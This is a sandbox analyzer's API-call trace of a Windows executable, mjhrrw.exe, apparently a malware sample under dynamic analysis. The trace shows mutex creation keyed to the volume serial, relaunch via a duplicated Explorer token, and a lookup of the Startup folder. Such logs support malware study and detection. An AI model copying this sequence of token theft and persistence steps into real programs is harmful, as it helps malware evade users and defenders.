# Flog Txt Version 1 # Analyzer Version: 3.2.2 # Analyzer Build Date: Jun 3 2020 08:38:37 # Log Creation Date: 11.06.2020 12:26:50.557 Process: id = "1" image_name = "mjhrrw.exe" filename = "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe" page_root = "0x179c3000" os_pid = "0x11b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x560" cmd_line = "\"C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe\" " cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 1 os_tid = 0x11c8 [0068.641] GetProcessHeap () returned 0x11a0000 [0068.641] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x30) returned 0x11b3320 [0068.641] GetProcessHeap () returned 0x11a0000 [0068.641] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x34c0) returned 0x11c0d30 [0068.701] GetProcessHeap () returned 0x11a0000 [0068.701] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x300) returned 0x11b28f0 [0068.704] GetProcessHeap () returned 0x11a0000 [0068.704] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10) returned 0x11c0970 [0068.704] GetTickCount () returned 0x1152920 [0068.704] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0xeff9c8, cchData=32 | out: lpLCData="\x03") returned 16 [0068.705] GetProcessHeap () returned 0x11a0000 [0068.705] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11aafe0 [0068.705] GetProcessHeap () returned 0x11a0000 [0068.705] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bf370 [0068.705] GetProcessHeap () returned 0x11a0000 [0068.705] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bf588 [0068.705] GetProcessHeap () returned 0x11a0000 [0068.705] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bdb78 [0068.705] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11bdb78, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0068.705] GetProcessHeap () returned 0x11a0000 [0068.705] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bdb78 | out: hHeap=0x11a0000) returned 1 [0068.705] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\sfor.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\sfor.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf370 | out: hHeap=0x11a0000) returned 1 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf588 | out: hHeap=0x11a0000) returned 1 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11aafe0 | out: hHeap=0x11a0000) returned 1 [0068.706] GetVersion () returned 0x23f00206 [0068.706] GetCurrentProcess () returned 0xffffffff [0068.706] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0xeff95c | out: TokenHandle=0xeff95c*=0x1fc) returned 1 [0068.706] GetTokenInformation (in: TokenHandle=0x1fc, TokenInformationClass=0x14, TokenInformation=0xeff954, TokenInformationLength=0x4, ReturnLength=0xeff958 | out: TokenInformation=0xeff954, ReturnLength=0xeff958) returned 1 [0068.706] CloseHandle (hObject=0x1fc) returned 1 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11aad10 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bf370 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11bf588 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.706] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf370 | out: hHeap=0x11a0000) returned 1 [0068.706] GetProcessHeap () returned 0x11a0000 [0068.707] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bf588 | out: hHeap=0x11a0000) returned 1 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11aad88 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11aafe0 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bff90 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0068.707] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11aafe0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff90 | out: hHeap=0x11a0000) returned 1 [0068.707] GetProcessHeap () returned 0x11a0000 [0068.707] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11aad88 | out: hHeap=0x11a0000) returned 1 [0068.707] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff914, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff914*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11aafe0 | out: hHeap=0x11a0000) returned 1 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x30) returned 0x11b2ef8 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x2a) returned 0x11b3438 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b3438, Size=0x52) returned 0x11b1668 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2ef8 | out: hHeap=0x11a0000) returned 1 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1668 | out: hHeap=0x11a0000) returned 1 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1c) returned 0x11aafe0 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1c) returned 0x11aad88 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bff90 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c00d0 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bffb8 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.708] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0068.708] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c00d0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.708] GetProcessHeap () returned 0x11a0000 [0068.709] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bffb8 | out: hHeap=0x11a0000) returned 1 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff90 | out: hHeap=0x11a0000) returned 1 [0068.709] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff8fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff8fc*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c00d0 | out: hHeap=0x11a0000) returned 1 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2138 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2648 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2648, Size=0x72) returned 0x11b1f28 [0068.709] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0068.709] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x1fc [0068.709] WaitForSingleObject (hHandle=0x1fc, dwMilliseconds=0x0) returned 0x0 [0068.709] GetProcessHeap () returned 0x11a0000 [0068.709] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2138 | out: hHeap=0x11a0000) returned 1 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1f28 | out: hHeap=0x11a0000) returned 1 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11c0030 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0198 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bff18 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0068.710] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0198, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.710] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff18 | out: hHeap=0x11a0000) returned 1 [0068.710] GetProcessHeap () returned 0x11a0000 [0068.711] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0030 | out: hHeap=0x11a0000) returned 1 [0068.711] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff8e4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff8e4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0198 | out: hHeap=0x11a0000) returned 1 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b22a0 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3a) returned 0x11b2690 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2690, Size=0x72) returned 0x11b1f28 [0068.711] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000000") returned 0x0 [0068.711] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000000") returned 0x200 [0068.711] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b22a0 | out: hHeap=0x11a0000) returned 1 [0068.711] GetProcessHeap () returned 0x11a0000 [0068.711] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1f28 | out: hHeap=0x11a0000) returned 1 [0068.711] ReleaseMutex (hMutex=0x200) returned 1 [0068.712] CloseHandle (hObject=0x200) returned 1 [0068.712] GetProcessHeap () returned 0x11a0000 [0068.712] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x30) returned 0x11b2e18 [0068.712] GetProcessHeap () returned 0x11a0000 [0068.712] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20a) returned 0x11c0588 [0068.712] GetVersion () returned 0x23f00206 [0068.712] GetProcessHeap () returned 0x11a0000 [0068.712] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11b1668 [0068.712] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0068.712] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x772e6b30 [0068.712] Wow64DisableWow64FsRedirection (in: OldValue=0xeff938 | out: OldValue=0xeff938*=0x0) returned 1 [0068.712] GetProcessHeap () returned 0x11a0000 [0068.712] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1668 | out: hHeap=0x11a0000) returned 1 [0068.712] GetModuleHandleA (lpModuleName="advapi32.dll") returned 0x756e0000 [0068.712] GetProcAddress (hModule=0x756e0000, lpProcName="CreateProcessWithTokenW") returned 0x756f0c70 [0068.712] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x11c0588, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\mjhrrw.exe")) returned 0x22 [0068.713] GetShellWindow () returned 0x100f0 [0068.713] GetWindowThreadProcessId (in: hWnd=0x100f0, lpdwProcessId=0xeff944 | out: lpdwProcessId=0xeff944) returned 0x5cc [0068.713] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x560) returned 0x200 [0068.713] OpenProcessToken (in: ProcessHandle=0x200, DesiredAccess=0x2000000, TokenHandle=0xeff954 | out: TokenHandle=0xeff954*=0x204) returned 1 [0068.713] DuplicateTokenEx (in: hExistingToken=0x204, dwDesiredAccess=0x2000000, lpTokenAttributes=0xeff91c, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xeff958 | out: phNewToken=0xeff958*=0x208) returned 1 [0068.714] CreateProcessWithTokenW (in: hToken=0x208, dwLogonFlags=0x0, lpApplicationName="C:\\Users\\FD1HVy\\Desktop\\mjhrrw.exe", lpCommandLine=0x0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0xeff8d0*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xeff928 | out: lpCommandLine=0x0, lpProcessInformation=0xeff928*(hProcess=0x244, hThread=0x248, dwProcessId=0x11cc, dwThreadId=0x11c4)) returned 1 [0068.938] GetProcessHeap () returned 0x11a0000 [0068.938] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x50) returned 0x11c5578 [0068.938] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x772d0000 [0068.938] GetProcAddress (hModule=0x772d0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x772e6b50 [0068.938] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0068.938] GetProcessHeap () returned 0x11a0000 [0068.938] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c5578 | out: hHeap=0x11a0000) returned 1 [0068.938] CloseHandle (hObject=0x200) returned 1 [0068.938] CloseHandle (hObject=0x244) returned 1 [0068.938] CloseHandle (hObject=0x248) returned 1 [0068.938] CloseHandle (hObject=0x204) returned 1 [0068.938] CloseHandle (hObject=0x208) returned 1 [0068.938] GetProcessHeap () returned 0x11a0000 [0068.938] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0588 | out: hHeap=0x11a0000) returned 1 [0068.938] GetProcessHeap () returned 0x11a0000 [0068.939] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b2e18 | out: hHeap=0x11a0000) returned 1 [0068.939] Sleep (dwMilliseconds=0x1388) [0073.960] GetProcessHeap () returned 0x11a0000 [0073.960] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xd0) returned 0x11bc128 [0073.961] GetProcessHeap () returned 0x11a0000 [0073.961] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0xc3) returned 0x11b2c80 [0073.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba4b85, lpParameter=0x11b2c80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0073.962] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0073.962] CloseHandle (hObject=0x208) returned 1 [0073.962] GetProcessHeap () returned 0x11a0000 [0073.962] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bc128 | out: hHeap=0x11a0000) returned 1 [0073.962] GetProcessHeap () returned 0x11a0000 [0073.962] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x60) returned 0x11b1d08 [0073.962] GetProcessHeap () returned 0x11a0000 [0073.962] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x5c) returned 0x11b1398 [0073.962] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0xba4b85, lpParameter=0x11b1398, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x208 [0073.963] WaitForSingleObject (hHandle=0x208, dwMilliseconds=0x0) returned 0x102 [0073.963] CloseHandle (hObject=0x208) returned 1 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1d08 | out: hHeap=0x11a0000) returned 1 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bff18 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0008 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bfdb0 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.963] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x11c0008, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bfdb0 | out: hHeap=0x11a0000) returned 1 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff18 | out: hHeap=0x11a0000) returned 1 [0073.963] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0xeff91c, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0xeff91c*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0073.963] GetProcessHeap () returned 0x11a0000 [0073.963] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0008 | out: hHeap=0x11a0000) returned 1 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x60) returned 0x11b1d08 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x20) returned 0x11bff40 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x1e) returned 0x11c0008 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x1e) returned 0x11bff68 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.964] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x11c0008, nSize=0xf | out: lpDst="") returned 0x1e [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff68 | out: hHeap=0x11a0000) returned 1 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11c0008, Size=0x3a) returned 0x11b2138 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x3a) returned 0x11b26d8 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.964] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x11b2138, nSize=0x1d | out: lpDst="") returned 0x1e [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b26d8 | out: hHeap=0x11a0000) returned 1 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b2138, Size=0x72) returned 0x11bf8f8 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x72) returned 0x11b1460 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.964] GetProcessHeap () returned 0x11a0000 [0073.964] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.964] ExpandEnvironmentStringsW (in: lpSrc="%localappdata%", lpDst=0x11bf8f8, nSize=0x39 | out: lpDst="C:\\Users\\FD1HVy\\AppData\\Local") returned 0x1e [0073.964] GetProcessHeap () returned 0x11a0000 [0073.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b1460 | out: hHeap=0x11a0000) returned 1 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11bff40 | out: hHeap=0x11a0000) returned 1 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x40) returned 0x11b2180 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x3e) returned 0x11b26d8 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x3e) returned 0x11b22a0 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11ae140 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x10) returned 0x11c0a00 [0073.965] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0xeff834 | out: phkResult=0xeff834*=0x204) returned 0x0 [0073.965] RegQueryValueExW (in: hKey=0x204, lpValueName="Startup", lpReserved=0x0, lpType=0xeff830, lpData=0x11b22a0, lpcbData=0xeff838*=0x3e | out: lpType=0xeff830*=0x2, lpData=0x11b22a0*=0x0, lpcbData=0xeff838*=0x98) returned 0xea [0073.965] RegCloseKey (hKey=0x204) returned 0x0 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11c0a00 | out: hHeap=0x11a0000) returned 1 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11ae140 | out: hHeap=0x11a0000) returned 1 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x11b22a0 | out: hHeap=0x11a0000) returned 1 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlReAllocateHeap (Heap=0x11a0000, Flags=0x0, Ptr=0x11b26d8, Size=0x7a) returned 0x11a66e0 [0073.965] GetProcessHeap () returned 0x11a0000 [0073.965] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x7a) returned 0x11ae140 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x90) returned 0x11b1230 [0073.966] GetProcessHeap () returned 0x11a0000 [0073.966] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x8, Size=0x10) returned 0x11c0c10 